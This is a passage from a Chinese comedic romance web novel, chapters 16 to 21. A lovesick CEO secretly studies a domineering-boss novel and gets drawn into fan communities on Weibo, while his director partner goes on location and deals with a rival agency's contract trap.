贺朝觉点开目录，飞速翻到“他难道动心了？”这一章，就是从这里开始，男主意识到自己的感情，对女主冷淡克制中流露出关爱！
这下能净化评论区了吧，贺朝觉美美打开，准备和书友们一起记笔记学习。
弹出来的评论差点蹦到他脸上——
【VIP焚位准备好了，男主速速火葬场，求求女主独美！】
【火葬场都不想收这个狗男人！女主你清醒一点啊啊啊！】
贺朝觉：“？？？”怎么骂得更狠了？
他俊眉一拧，很是不快。虽然这本书很多地方处理得不完美，但也没有这么差吧，还是能学到很多实用技巧的。
你们懂个什么《霸道厉总狠狠爱》。
贺朝觉大手一挥，怒砸1000个深水鱼雷，成为榜一大哥。一时间《霸道厉总狠狠爱》挂上了首页滑动提醒，霸占了全站视野。
他对此浑然不知，噼里啪啦，激昂愤慨地在雷后留下一条千字长评：
【个人看法，男主虽然有些地方处理不当，但感情是真实的！学习感受如下，1……】
易帆的事说大不大，说小也不小。
易姑父见试镜机会交易泡汤，把黄总那边得罪了，易帆也铁了心不和他们家往来，不晓得怎么搭上的线，竟然想要把他送到金主床上去。
裴澈看着酒店里混乱的现场，头疼之余又有点搞笑。
易姑父和那个金主衣衫不整蹲在墙边，还在扯皮，被警察喝声吓得一抖。易帆墨镜推到头顶，和另两个警察站在一块说着什么。
裴澈嘱咐小陶去门口盯一下，要是看见眼熟的娱记先处理。
易帆眼睛微红地走过来：“裴导不好意思，我担心消息漏出去会给剧组造成影响，想来想去还是只能找你帮忙了。”
裴澈摇摇头：“没事。”
想想又补充道：“还记得武装到位，很谨慎，做得不错。”
易帆有点不好意思地扯下口罩，两边抽绳绕在手里搅着，视线转回到姑父身上又变得冷厉起来。
盯着做完笔录，裴澈惦记着家里的贺朝觉，忙忙回家，顺道捎了易帆一程。
路过家门口的花店，还顺手买了一束桔梗。
“朝觉？贺朝觉？”
贺朝觉“腾——”地一下从座椅上蹦下来，麻着腿
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龇牙咧嘴往外跑。
都怪骂他的人太多了，一个个理性讨论回去就忘记时间了。
霸总委屈.jpg
“阿澈，我在这。”
看着气喘吁吁出现在连接观影室楼梯口的贺朝觉，裴澈狐疑地抬起眉毛：“你一直在下面？”
“额，”贺朝觉一僵，“没有。”
那就是有了。
裴澈面无表情“哦”了一声，肯定句：“在看你的那些秘密。”
说完转身离去。
什么意思？贺朝觉追着裴澈去客厅，心里又惊又怕。
日暮时分的夕阳正好，在客厅拖出温柔的影子。
贺朝觉追出来，就看见眉目清泠的青年低头在插花。
骨节分明的手指翻飞，灵巧地将鲜花茎部斜口细细剪好，去掉多余的枝叶，插到瓶中。
在夕阳的光影里美得像一幅画。贺朝觉的心跳狠狠漏了一拍。
青年抬起头，微微地笑：“桔梗花象征着健康与康复，送给你，祝你早点好起来。”
贺朝觉被蛊得猛猛点头。
好，赶紧好起来。
裴澈又眨眨眼睛，笑盈盈补充：“也赶紧想起来交代你那些小秘密啊，我真的很好奇。”
贺朝觉：“！！！”
晚上，两人躺在床上。等裴澈睡去，贺朝觉再一次悄摸摸掏出手机，打开了《霸道厉总狠狠爱》。
就一次，最后一次。
贺朝觉自我感觉良好，已经可以毕业。为了答谢作者的教导之情，他一定帮她把那些断章取义的人好好骂回去。
但再打开评论区，贺朝觉懵了。
画风完全不对啊——
【啊对对对，榜一大哥说的都对。】
【[这是一本很好的教科书]棒读.jpg滑稽.jpg】
【笑死了家人们，真的有人来霸总小说学追妻吗？】
还有混水摸鱼的——
【没人觉得这个人设很好磕吗哈哈哈！沙雕恋爱脑霸总，背地里库库学习火葬场文学[斜眼笑][斜眼笑]】
【姐妹我狂吃！】
【啊啊啊借大哥楼我火了，放个大眼门牌号，新鲜出炉的沙雕恋爱脑霸总追妻小甜文，姐妹们快来！】
贺朝觉：“？？？”
17.第 17 章
到底什么是大眼？
贺朝觉高强度冲浪两晚，到了星期一早上还是没搞明白这个问题。
轮廓俊朗的男人顶着蔫答答的蓬乱头发，睡眼惺忪坐在旁边看裴澈收拾行李，给他递东西。
剧组明天要去S省取外景，工作行李有小陶负责，但裴澈的私人物品总是喜欢亲手打点。
“犯困了？”他抬眸看了下眼皮打架的贺朝觉，无奈道，“都说了不用陪，我自己起来收拾。”
那怎么行！
要不是刚刚帮忙收拾一圈被裴澈一句“乖，别添乱。”赶到旁边坐着，贺朝觉都不可能在旁边干看着。
一等裴澈把要带的东西都清点出来，他像是突然找到了人生的使命，猛地从小沙发上蹦起来：“我来打包！”
惺忪睡眼瞬间变得炯炯有神，贺朝觉飞快接过裴澈手里的活，让他去一边坐着。
“……行，”裴澈一手支在下巴上看他忙活，挑眉调侃道，“知道你着急送我走了。”
贺朝觉：“！！！”
放在塑封袋拉环上的手指一抖，拉环“噌”地整个被拽了下来。
什么，送他走？这是什么意思，裴澈觉得自己厌弃他了？
贺朝觉有点慌张地朝裴澈看去，后者眉头轻轻皱起，眼神却没有落在他身上。
阿澈生气了？还是……难过了？
贺朝觉瞬间不知所措，情急中两眼一红，绝望地看向裴澈：
“求你别走，命都给你！”
裴澈：“？？？”你要不和那个拉环说？
头疼地叹了口气，裴澈面无表情地俯身，狠狠捏了下爱人的脸颊：“我要两条命干嘛？”
在哪里看了这些有的没的！
“上午我在家办公，已经通知李特助来接你去公司了。”
贺朝觉眼神还有些可怜巴巴的，裴澈严肃地交代好日程，心软伸手摸摸他的狗头：“中午一块吃午饭，然后送我去机场。”
贺朝觉乖巧点头，突然想到什么，一副欲言又止的样子偷偷看裴澈。
裴澈狐疑：“怎么了？”
贺朝觉：“……”
立马立正，眼神坚定得仿佛要入党：“没什么！”
裴澈：“……行吧，那你好好上班，有事给我打电话。”
穿戴整齐的贺朝觉跨出大门，视线滑过移到门口的行李箱，内心纠结。
阿澈现在没那么排斥自己了。那件事……要不要告诉他？
……
导演组两位副导已经提前过去S省，裴澈开完线上视频会议，突然想起还可以打包一些徒步装备。
他刚走到楼梯口，手机震动起来，响起某信消息的提示音。
小陶：【裴导，和你料想的一样。橙子娱乐跟《锦云生花》剧组双签了，江清妍已经进组在S省拍摄，和我们的拍摄时间几乎完全重叠。】
小陶：【这是我刚拿到的合同细节[图片][图片][图片]】
裴澈随手敲下一行字：【很好。姜雅歌的合约买断怎么样了？】
小陶：【她经纪人打算狮子大开口，看见我们手里的料老实了。今天取到回执之后，姜雅歌和橙子娱乐就不存在合同关系了。】
裴澈倚在楼梯栏杆上，纤长手指轻敲，姜雅歌的经纪人会试图从中谋利，他毫不意外。
江清妍原本是他定下的女主角，橙子娱乐却联合对手剧组想坑他一把。
开机前，江清妍迟迟定不下进组行程，裴澈察觉到合同中的小陷阱——他必须签下橙子娱乐的艺人，否则面临巨额违约金。
拖延进度或影响资金，裴澈都不选，果断从一堆糊咖中挑中了黑料缠身的姜雅歌。
现在姜雅歌顺利解约……
裴澈眼神凉凉，慢条斯理地在输入栏里敲下：【发律师函，另外，联系姜雅歌的经纪人准备反黑。】
*
不知道裴澈一个人在S省会不会被欺负。
贺朝觉看着窗外孤零零的飞鸟，暗自叹气。
李特助一进门，就看见贺总凄凉的背景，无风萧瑟。
狗男人，活该没老婆！
“BOSS，已经重新拟好了，您看一下。”
李特助恭敬地送上文件。
良心-1。
“嗯放那吧。”贺朝觉轻飘飘扫了一眼，“让你瞒着裴澈，他不知道吧？”
李特助抬手到唇边，做出拉上的姿势：“完全不知情。”
“很好，”贺朝觉点点头，“去清点一下其他必需的文件。”
李特助走到门边，又突然被贺朝觉叫住。
怎么了？李特助疑惑地回头，看见贺总坐得笔直，目不斜视地咳了一
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声：“你……你知道大眼是什么吗？”
……
什么？大眼就是某博？
贺朝觉不敢置信地瞪着手机上的某博界面，他用这么久了，他怎么不知道！
那些人神秘兮兮地在评论区对门牌号，还发一些面红耳赤斯哈斯哈的表情，不应该是……咳咳，总之不是什么健康的地方。
贺朝觉将信将疑，操作着账号搜索，迅速摸进一个叫做【清冷美人就应该在下面】的主页。
最新一条置顶博文热度飙升中。
【小甜饼：今天又是火葬场的一天呢
沙雕恋爱脑霸总×清冷大美人受
灵感来源：《霸道厉总狠狠爱》评论区
……】
好像就是这个？来对地方了？
贺朝觉面带犹豫，手指却火速背叛，以迅雷不及掩耳之势点了进去。
两小时后，贺朝觉意犹未尽地停下，给博主上了一笔打赏。
我真该死啊打赏10w元。
我真该死啊：【不错的小故事，主角很幸福，有真正爱他的爱人，羡慕。】
贺朝觉有些怆然，博主给故事加了一个受本来就喜欢攻，只是攻不知道的设定。
读起来有多甜，回到现实就有多虐。
霸总委屈.jpg
要是阿澈和自己也能两情相悦就好了。
“朝觉？”
蓦地响起的声音吓得贺朝觉一激灵。
他猛地抬头，裴澈不知道什么时候进来的，就站在离他一臂不到的位置！
贺朝觉下意识“咔哒”摁灭手机，扣在桌上。
一边心虚地说着废话：“这么早啊……哈、哈？”
话音猛地打住，贺朝觉落在时钟上的视线凝固了，怎、怎么就12点了？
“不早了，”裴澈无奈一笑，俯身越过桌子亲了贺朝觉一下，“工作这么专心啊？奖励。”
贺朝觉一时间晕晕乎乎，坠入了甜蜜的错觉中。
没等他回过神，裴澈忽然发出一声低低的鼻音：“嗯？”
他垂头，视线落在桌面上那份文件。
正是李特助早上送来的那份。
贺朝觉的心猛地一沉，时间仿佛被拉得无限长。他视线绝望地落到文件上，和裴澈震惊的眼神交汇。
完！辣！
18.第 18 章
贺朝觉：“！！！”
那一瞬间，他的眼神称得上心如死灰，但动作迅猛如雷。
裴澈还没反应过来，他猛地站起来，“啪唧”一声整个人飞扑到了桌子上，犹如一只大型壁虎。
“嘶——”
坚硬的脑壳顺便给了裴澈一个猝不及防的头槌，裴澈瞬间倒吸一口凉气。
“你没事吧？”
“你没事吧？”
顾不上嘴里微微的血腥味，裴澈先低头去看贺朝觉，这祖宗的头可才撞坏了没多久。
贺朝觉听见“嘶”声也同时慌张地抬头看来。
两人四目相对。
男人的正装承受不住夸张的造型，被肩膀挤压出扭曲的曲线，此时他抬头看裴澈，心急之下也没忘记牢牢用身体挡住那份文件，于是只有头高高抻起，身体贴在桌子上。
裴澈：“……”
“扑——”他实在没忍住，背过脸偷笑起来。
贺朝觉：“？？？”
裴澈笑停，视线转回贺朝觉身上，煞有介事地评价：“像只癞蛤蟆。”
贺朝觉的脸色刷地煞白。
这下轮到裴澈：“？？？”
连忙收住笑，关切道：“怎么了？头疼了吗？”
贺朝觉眼神复杂地看了裴澈一眼，忍下眼眶里翻上来的红意，声音艰涩：“……是我的错。”
癞蛤蟆想吃天鹅肉。
裴澈：“……什么？”
贺朝觉没理会裴澈的问话，像是失去了全部的精气神，一滩流回到椅子上，自暴自弃地道：“你放心，这份日程我会让李特助重拟的，不用担心……”我跟踪你，掌控你。
后面的话他说不出口。
自己苦心隐藏这个秘密，不让李特助告诉裴澈，不就是打算接下来几天借出差尾随裴澈去S省。
太变态了，和那个“贺朝觉”有什么区别。
哪怕他说服自己，他没打算做什么，只想远远地确定裴澈一切都好……
但现在裴澈发现了，贺朝觉心头酸涩，心知这几日的甜蜜都将流作泡影。
他痛苦地歪在椅子里，颓唐而狼狈地等待着裴澈的审判。
“干嘛要重拟？好不容易空出来的，这不是挺好的嘛？”裴澈疑惑不解，捏起桌上的日程表。
本来垂头丧气的贺朝觉听见这话，就好像听见了什么奇迹般不可思议的事情，徐徐抬头，害怕又期待地看过来。
裴澈大致扫了一下日程表，继续道：“没少花功夫吧。”
辰辉上市没多久，积压的事务很多，饶是贺朝觉是才出院的病号，每天也要花很多时间在公司事务上。
眼下裴澈看这份日程表，却清理得非常干净，空出整整三天时间，只除了科技峰会开幕式和商务酒会，自然能猜到贺朝觉提前处理了多少事情。
这就是他最近总是顶着黑眼圈的原因？
裴澈心里瞬间暖暖的，有点心疼。
一边的贺朝觉惊疑不定，不确定这句“没少花功夫”是不是嘲讽。
裴澈收起心绪，曲起指节在日程表上敲了敲。
修长的手指纤白，扣在A4纸上发出清脆的响声，裴澈故作沉吟：“不过……确实有个小漏洞。”
贺朝觉视线茫然地追着那只骨节分明的手，下意识问：“什么漏洞？”
青年没有马上回答，低头拉近和贺朝觉的距离，如画的眉眼定定睨着他，某种莫名的气氛在缠绕。贺朝觉艰难滚动喉结，蓦地感觉有点干。
润泽的唇瓣微启，语气清淡带着若隐若现的笑意：
“你都去S省了，怎么不给我们安排上约会的行程呢？”
贺朝觉：“！！！”
是嘲讽！裴澈才不想和他约会！
一个声音马上蹦出来。
迅速被另一个声音驳倒。才没有！裴澈想和他约会！
他好爱他！
贺朝觉脸红通通像是喝醉了一样，歪在椅子里，用一种头晕目眩的目光看向裴澈。
“……你……”喜欢我，想和我约会……？
贺朝觉最终没有勇气问出来，不过他出差这件事算是在裴澈这里过了明路。
而且裴澈不排斥！
两人一块走进餐厅，仿佛踩在云上的贺朝觉还是不敢相信。
“怎么了？”旁边像探头探脑小动物一样的视线，隔一会就溜到自己脸上，裴澈真是没法忽视。
“没、没事！”
贺朝觉瞬间板起脸，恢复了酷酷的霸总形象，只有心灵的窗户没关紧，流露出一些傻乎乎的笑意。
裴澈暗自摇头，这个傻子！
……
两人刚进门，一道惊讶的声音突然在前台响起：“裴导？”
裴澈抬眼看去，声音不冷不热：“好巧，刘总。”
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正是橙子娱乐的高管之一，给裴澈合同挖坑的那个。
“确实是巧，欸——说起来，裴导不应该去S省取外景了嘛。”
年近五十的男人中年发福，颇有几分志得意满，故作疑惑地装腔作势，语带暗示。
他身边还跟着一个长相清秀的少年，挽着胳膊毫不遮掩的讨好姿态。
裴澈略带厌恶地动了下眉头，没有表现出来：“辛苦刘总惦记，我们剧组拍摄进程很顺利。”
被轻描淡写地噎了一下，中年男人有些没脸地视线一转，放在贺朝觉身上：“这位是——？”
早察觉到裴澈的不喜，贺朝觉噌地上前半步，眼神凶狠地看向刘总：
“他包养的小白脸！”
理直气壮的声音瞬间响彻整个餐厅，邻近桌的客人纷纷回头。
裴澈：“……”
刘总尴尬地脸都挂不住了：“哈、哈，贺总开玩笑了，您我还是认识的。”一边不动声色地推开了少年。
贺朝觉脸色一沉，气势阴狠：“那还明知故问！”
刘总：“……”
一时气氛有些尴尬，见裴澈不说话，刘总咬紧后槽牙开口：“我还没自我介绍，我是——”
“叮——咚！”
一声响亮的手机提示音突然响起，贺朝觉眉头一皱，旁若无人地掏出手机，直接忽视了刘总的发言。
【某博提醒：收到一条新回复！】
回复？是今天发的书评？贺朝觉眼神逐渐纠结，怎么办……有点想打开。
被晾在一边的刘总：“……”
算了，阿澈在还是不方便。贺朝觉忍着好奇放下手机，一个正眼都没给：“我知道，你是橘子娱乐的。”
裴澈纠正：“橙子。”
贺朝觉乖巧点头，然后不耐烦地看刘总：管你是橙子橘子，榨汁都酸不溜丢的，裴澈还得忌口，不如进局子去。
刘总：“……”
“哈、哈、哈，”刘总试图打破尴尬，干笑着道，“贺总好幽默——”
贺朝觉冷冷扫了一眼，还没开口。
“叮咚叮咚叮咚叮咚叮咚叮咚！”
贺朝觉刚刚放下的手机突然间像发了疯一样震动起来。
一时间如同捅了赛博马蜂窝，安静的餐厅里提示音络绎不绝。
【某博新消息：999+】
贺朝觉：“？？？”
19.第 19 章
“你不看一下？”
裴澈往嘴里送了口青菜，停下筷子眼神示意。
贺朝觉的手机静音了放在一边，上面还在不停扑通扑通地冒新消息提醒。
图标清晰可见，是某博。
贺朝觉瞬间伸手，把手机屏幕翻转反扣：“这样就不会吵到眼睛了。”
他紧张兮兮地看裴澈。
刚碰见那个橘子，这会好不容易多吃点，可不能坏了他的心情。
突如其来的小狗表情让裴澈有点莫名其妙，夹起一片汆肉吃了，才感觉贺朝觉微妙地松了口气。
裴澈不明所以：“你还玩微博？以为你的号都交给李特助打理。”
他轻拭唇角，短暂思考了一秒贺朝觉整天转发科技资讯和公司动态的总裁官号：“还挺重视这次峰会嘛。”
这么多新消息，应该都是S省科技峰会的动态点赞。
贺朝觉偷眼瞄裴澈，不管三七二十一地猛猛点头。
“老响也不是办法，我帮你关一下消息提醒？”
裴澈没多想地伸手，哪知贺朝觉反应激烈，蹭一下收回手机，差点没把餐盘创飞。
裴澈：“？？？”
贺朝觉有点结巴：“……我、我自己来。”
他火速切换到大号，蹦个不停的消息终于消停了。
“好了。”贺朝觉抬眼亮晶晶，努力装作不经意地问，“我……可以关注你吗？”
他难道没关吗？裴澈费解。
轻轻颔首：“关呗。”
贺朝觉早就切到了关注列表，闻言飞快下手，欻地一下把裴澈取关了。
做完这件事，他如释重负地长了口气，那个偷窥裴澈生活的变态已经死了。
现在的他，是得到裴澈首肯的扭轱辘·贺朝觉！
一会就回去挑个良辰吉日沐浴焚香，再点裴澈的关注！
……
吃完饭，贺朝觉坐裴澈开的车送他去赶飞机。
机场大厅，气质清泠的青年着浅米立领新中式衬衫，从容地穿行在人群里，他身旁，宽肩窄腰身形颀长的男人推着行李箱紧随其后。
两人气质相得益彰，自有一股和谐的默契，在人群中格外引人注目。
“靠，那个人好好看啊！你看你看。”小晴小声尖叫，胳膊肘拐了下身边的朋友。
“哪呢哪呢，让我康康！”朋友瞬间四处张望起来。
贺朝觉敏锐感觉到朝裴澈投来的目光，刷一下挡在他身前，朝目光来源的方向瞪了回去。
男人身形高大，有种久居高位的威势，眼神锐利凶狠。
吓得朋友刷地躲到小晴后面。
等那对看起来很登对的男人走远，朋友才缓缓吐出一口气：“太吓人了，你看见没有，他的眼神好凶啊！”
“嘿嘿嘿~”一边的小晴没回她，对着手机发出猥琐的笑声。
“靠！你拍到照片了，怎么做到的！”
“全凭对清冷美人的一腔爱意啊~”
小晴一边编辑某博，一边斯哈斯哈：“简直是小说的清冷美人照进现实呜呜呜，怎么会有人这么好看啊！你能不能多让我来接接机，这样的好事我一点都不嫌多！”
“多盯着他吃饭，忙起来老是忘。山里冷，暖宝宝带够了吗？他受不了寒。”
贺朝觉抓紧最后时刻和助理小陶叨叨咕咕。
不远处的裴澈无奈：“你怎么不直接和我说？”
贺朝觉：“……”
面色一僵，期期艾艾抬头：“你怎么……都听到了？”
他还特意挑裴澈去打电话的时候说，就是不想让他听见多想。
贺朝觉小心翼翼地观察，脸上表情十分担忧。
裴澈跨步上前，捧起贺朝觉的脸仰头亲了一下：“好啦好啦！你才是不能再熬夜了，今晚好好休息，明天见。”
原本忙碌的行程挤出三天在S省，贺朝觉要明天傍晚才落地。
“明天见。”说出这三个字，贺朝觉心头满当当，目送裴澈过了安检，消失在入口处。
“律师函给橙子娱乐发过去了？”
“是，预计等下飞机就能看见回应了。”小陶推了下眼睛，审慎地道。
“挺好的，正好晾他们一会。”裴澈调平座椅，裹上毯子躺了下去，“没别的事情你也睡会吧，到了S省又要连轴转地忙了。”
“裴导，还有件小事需要汇报。”小陶低低道，“贺总取消了对您某博的关注。”
裴澈：“？？？”
“什么时候？”
“就在刚刚你们吃饭的时候。”
裴澈：“……”
他是分不清关注和取消关注吗？
*
前两天要在山里取景，没有合适的酒店，整个剧组借宿在附近的村民家里。
裴澈躺在硬板床上睡不着，入夜温度下来，厚厚棉被阻隔不住沁人的凉意。
他
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又翻了个身，有点想念贺朝觉总是不停散发热度的体温。
阿澈：【突击检查[笑]在干嘛？】
贺朝觉蜷在转椅里，瞬间将某博的页面缩小扔开。
朝觉：【在工作[照片][照片]】
照片里，文件零散落在他的书桌上，有些已经被批阅过。
这么刻苦？裴澈起了坏心思。
阿澈：【哦——没有想我吗？】
贺朝觉：“！！！”
他怎么知道自己在想他！
咬咬牙，贺朝觉睁眼说瞎话：【没有。】
他才不是那种不能让裴澈离开自己视线一小会的变态。
收到消息的裴澈：“？？？”
他看了那两个“没有”的大字半天，实在不知道怎么接。
阿澈：【山里到了晚上有点冷。】
贺朝觉瞬间皱眉，不是让小陶多带点暖宝宝。
朝觉：【贴了暖宝宝吗？】
阿澈：【太烫了。】
阿澈：【没有你暖得均匀。】
没有他暖得均匀。
他暖得比较好？
这……是什么意思？贺朝觉疑心自己理解错了，手指在输入栏打打删删。
裴澈这边就看见一串“对方正在输入中……”来回横跳。
阿澈：【这时候应该说什么？】
朝觉：【啊？】
朝觉：【你箱子里还有个热水袋，装点水拿毛巾裹上，也暖得很均匀。】
裴澈：“……”
正打算无语地结束聊天，突然又收到一条消息。
朝觉：【……可能还是没我均匀？】
【朝觉撤回了一条消息。】
裴澈侧躺在被窝里，感觉四肢终于有热意渐渐漫上来，他微微抿唇一笑，没再下床去找热水袋。
【你比较不可替代。】
【晚安[月亮][月亮]】
发完又撤回那条消息，贺朝觉就刷地扔了手机，开始在房间疯狂打转。
他疯了吧。
最疯狂的是，他一边祈望裴澈没看见，一边又隐隐希望裴澈看见了。
如果……他看见了，会怎么想？
会装作没看见吗？
隔了好一会，贺朝觉才忐忑地拿起手机。
阿澈：【你比较不可替代。】
阿澈：【晚安[月亮][月亮]】
他整张脸腾地烧起来了。
20.第 20 章
第一天的拍摄任务不重，主要是勘景和设备调试。
裴澈检查了几处布景，对不满意的细节一一调整，直到完美符合心目中的预期。
演员们也没闲着，被叫过来走位试拍，协调光线、镜头角度和收音效果。
众人忙碌到中午才停下。
“我靠！”姜雅歌坐在椅子里，猛地把墨镜推到头顶，小声惊叫。
助理小陶无声地看过去。
姜雅歌立马收敛形容，十分优雅地举起手机递到小陶面前，嘴型夸张地用气声：“咱们！老板！上热搜了！！！”
小陶有点无语，对这个称呼不做评价。
自从姜雅歌的合同转到澈影娱乐，得知澈影的实际控股人是裴澈，她就彻底放飞自我，开始跟着叫裴澈老板了。
不过……热搜？最近没什么电影奖项的消息，难道是橙子娱乐那边……
小陶皱眉看向她手机屏幕上的热搜——
#全网寻找的清冷美人
小陶：“？？？”
贺朝觉忙完上午的工作，一边吃饭一边打开手机。
老婆不在的第一天，想他。
熟练地登陆某博小号，贺朝觉径直点进关注博主的首页。
生活这么苦，只能吃点小甜饼安慰一下自己了。
“嗯？？？”
一进首页，刷新完毕，置顶的博文里熟悉照片猛地蹦出来。
照片上的青年身着浅米立领衬衫，站在熙熙攘攘的机场大厅。眸光泠泠转来时，如同折射过棱镜的一束光，冷艳中透着一丝不可侵犯的整肃，格外干净出尘。
【谁懂啊！！！对着照片连呼吸都轻轻的生怕把他惊走了。是天使吧！怎么会有这么好看的人！】
【我就和楼上不一样了，不仅一把抱走还要狠狠[斯哈斯哈]】
【是哪家新人吗？大大在哪里蹲到的我马上带着麻袋去！】
贺朝觉眉头一下就飞起来了！你敢！
火速回复：【你要对我老婆干什么！！！】
前排挨个警告一遍，贺朝觉才臭着脸往上翻——
清冷美人就应该在下面：【发现一枚天选清冷美人，天啦就知道信女一周吃三个炸鸡桶是有回报的[照片]】
下面还打着tag——#全网寻找的清冷美人
贺朝觉：“？？？”
小晴是一个素人博主，除了爱磕cp，xp稳定，偶尔自产一些清冷美人受的小甜文，和任何一个普通的女大学生没有区别。
不过她最近交了点好运。
先是在某江文学城评论区口嗨产粮，被摸上门来的榜一大哥打赏了10w元，然后同一天，又在机场偶遇一个各方面戳爆xp的清冷美人！
“嘻嘻让我看看评论有没有涨~哇怎么这么多消息提醒啊！”
小晴点开某博，还来不及翻999+的消息提醒，一条私信猛地蹦出来。
我真该死啊：【置顶，马上删了！[霸道酷总墨镜威胁]】
“谁啊这是，上来就删删删。你让我删我就——”
蓦地看见对方昵称，小晴皱起的眉头霍地打开，这不是她亲爱的榜一大哥吗？
她有点疑惑，之前不是吃粮吃得很欢。
清冷美人就应该在下面：【博文只记录个人生活，和同好圈地自萌哦~ 如果有冒犯到的地方，可以先礼貌问下怎么回事吗？】
我真该死啊：【[图片][图片][图片]】
我真该死啊：【冒犯到我老婆了。】
小晴不明所以地点开截图，都是她置顶博文下面的评论，画风……唔，遍地都是裤子呢。咳咳，不足为奇——
等等！她是不是看错了，热度那里是不是写着……12.8亿？？？！！！
就在这时，某信积攒的消息也突然哐哐往外蹦：
【靠靠靠晴你火了，清冷美人上热搜了！！！】
小晴试图冷静……冷静不下来！怎么回事？她只是想和同好们分享口嗨一下而已啊！
榜一大哥见她不回复，又开始突突发消息：
【已经出现了威胁人身安全的言论，他们要套我老婆麻袋！】
【限你三秒之内立即删除！】
【三】
【二】
小晴满头问号，他真的不是在搞抽象吗？
清冷美人就应该在下面：【真的不好意思，我刚从外面回来[合掌][合掌][合掌]。不过这个话题已经带上热搜了，我可以删贴，但是让每个转发的营销号都删帖可能不太现实[捂脸]。】
贺朝觉的【一】正要发送，就看见这么一条回复。
热搜？他拧起眉头点进 #全网寻找的清冷美人。
话题里往下一拉刷不到头，所有人都在问这个长得好看的小哥哥是谁。
贺朝觉：“……”
小晴试探道：【姐妹你入戏很深啊？也喜欢磕清冷美人这款吗？】
我真该死啊：【我是男的。】
【没事，只要你喜欢我老婆，都是姐妹！】
【那是我老婆！[图片][图片][图片]】
贺朝觉怒而把自己记录的裴澈合照发了过去。
【是我！们！的老婆！哈哈哈姐妹你图P得好好，就是下次拼图不要这么明显！】
贺朝觉：“……”
气得简直要顺着网线过去让对方认清楚裴澈是谁老婆，一眨眼，他秒被拉入一个叫做【贴贴我们的新老婆】的群组，并被设成了管理员。
贺朝觉：“？？？”
正要私聊小窗继续威胁。
清冷美人就应该在下面：【话说回来，现在不流行霸道老男人这款了哦，姐妹考虑换个人设吗？】
不流行……霸道老男人……
屏幕上冰冷的文字像两把冰刃，戳得27岁·比裴澈大三岁·老男人·贺朝觉大惊失色。
突突打字的手指猛然停下，屈伸了几次没再继续往下写。良久——
我真该死啊：【……有什么人设？】
*
“老板，需要跟进吗？”
裴澈翻看了一下博文，又往下拉出些历史博文，感觉这个【清冷美人就应该在下面】看起来像是素人博主。
不过谨慎点没坏处，他虽然行得正坐得端，也不希望被人在背后盯着算计。
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把手机还给小陶，轻描淡写道：“监控一下舆情不要发酵太过，另外关注下这个博主，如果是素人就算了，最好不要是和橙子娱乐有关系。”
“是。”小陶应下。
午休时间一过，整个剧组又重新动起来，再次调度起进度的裴澈没注意到，一边的小陶看了会手机就突然露出疑惑中带点怀疑的神情，飞快抬头看他，然后淡定地在手机上点了几下。
入秋的天黑得比较快，剧组的景基本搭好，趁夜色又调试了下晚场的灯光效果，一晃眼就到了7点钟。
腹部微微抽搐，裴澈不动声色地捂了下。最近被贺朝觉养成按时吃饭的习惯，蓦地超过时间，他的胃隐隐抗议。
说起来，今天贺朝觉也到S省了。
裴澈招呼工作人员收工，不自觉望向山下遥遥可见的市中心。
璀璨的灯火星星点点，像是陌生城市里一个个人的缩影，今夜哪家酒店的窗户里，也会亮上一盏他所熟悉的灯火。
但从市中心开车过来要2小时，算上从机场去酒店安顿的时间，贺朝觉要探班怎么着也得明天来了。
秋风吹得微凉，裴澈收回视线。
“哇哦——”
姜雅歌夸张的咏叹声打破剧组乱中有序的纷嘈。
裴澈略带疑惑地转头看去，被片场边缘一道高大沉稳的熟悉身影吸住了目光。
男人风尘仆仆，着一身轻薄的休闲服，一见裴澈眼神就亮起来，如同落进了星辉。
贺朝觉拎着保温饭盒，空闲的手对着裴澈挥了挥。
裴澈不自觉地勾起唇角，脚步加快朝他迎去。
到了近前，裴澈正要开口。贺朝觉突然想起来什么似的，猛地一僵，左右看了看，以迅雷不及掩耳之势把保温饭盒塞进了离他最近的小陶手里，就像后头被狗撵的小偷似的。
裴澈震惊，还没问。
贺朝觉已经火速转过身来，似乎对着他在说话，又似乎没有。
超大声：“保温饭盒好重。”
裴澈：“？？？”
饭盒里装满了在机场餐厅打包的饭菜，掀开还冒着丝丝热气。
裴澈怀疑地看了眼对面的贺朝觉，长期健身带来的肌肉将他身上休闲服撑起衣服架子的效果。总感觉又有什么幺蛾子。
穿衣显瘦的贺总坐在桌子对面，瞄了几眼饭盒，似乎有点纠结，最后象征性地夹了一筷子土豆丝。
吃完擦擦嘴，飞快宣布：“我饱了！”
裴澈甚至才刚伸出筷子，狐疑道：“你先吃过了？”
贺朝觉连酒店都没去直接开车上了山，根本没有时间吃饭，他们也完全不必玩只打一份饭，让裴澈吃就好的那种戏码。
贺朝觉听了一惊，火速摇头：“当然没有。”
“那你不再吃点吗？饭菜很多，我根本吃不完。”裴澈无语。
贺朝觉严肃认真：“不，我吃这些就饱了。”
顿了一下又飞快补上一句，强调道：“我饭量很小的。”
绿茶小狗人设。绿茶，肩不能扛手不能提，柔弱是核心，饭量也小。
合理的！这样看起来没有威胁性，肯定能让裴澈放下心防！
21.第 21 章
“？？？”
裴澈心底缓缓打出一个问号，面无表情：“上次你一口气吃三碗面条的时候，可不是这么说的。”
清汤素面卧个蛋，含泪吃了三大碗。让他别撑坏了，还说自己胃口大。
对比眼前土豆丝坑都没有的微损，裴澈眼神质疑。
贺朝觉欻地张口，下意识想说什么止住了，又悻悻低头。
阿澈亲手做的面，他可一口没吃到，还要给那个不识好歹的小偷背锅！
一副敢怒不敢言的忧郁小样。
挺可爱的。
裴澈心情很好地给他夹菜，在碗里堆出一个小山：
“都吃了，一点也不许剩下。”
……
饭毕，贺朝觉低头看了眼吃得鼓鼓的腹肌，心情更忧郁了。
他吃太多，一点都不柔弱了。
裴澈在一边整理箱子，头也不抬地说：“山里晚上比较冷。”
机会！
贺朝觉警觉抬头，大声赞同：“对！现在就好冷啊！”
“……你冷吗？”
刷刷点头：“嗯嗯嗯，穿的少不抗冻。”
“你脸上不还红红的冒热气吗？”
裴澈狐疑地看了眼吃得微微发热的男人。
贺朝觉稍微慌了一下，然后理不直气也壮：“这、这都是冻的！”
裴澈：“？？？”
那双隽永的眉眼微微蹙着，四目相对之下，前天晚上关于“暖得均匀”的讨论突然漫上心来。贺朝觉脸更红了。
狗狗祟祟瞄了裴澈几次，想要反问：“你冷——”
裴澈突然起身：“你脸怎么红成这样，是不是冻感冒了？”
贺朝觉僵住，青年的气息一下子近前，手背的温度贴在他额头上。
裴澈拿手试了试温度，感觉偏高，皱眉道：“我去给你灌个热水袋。”
说完转身就走，留下贺朝觉：“……”
他话还没问完呢！
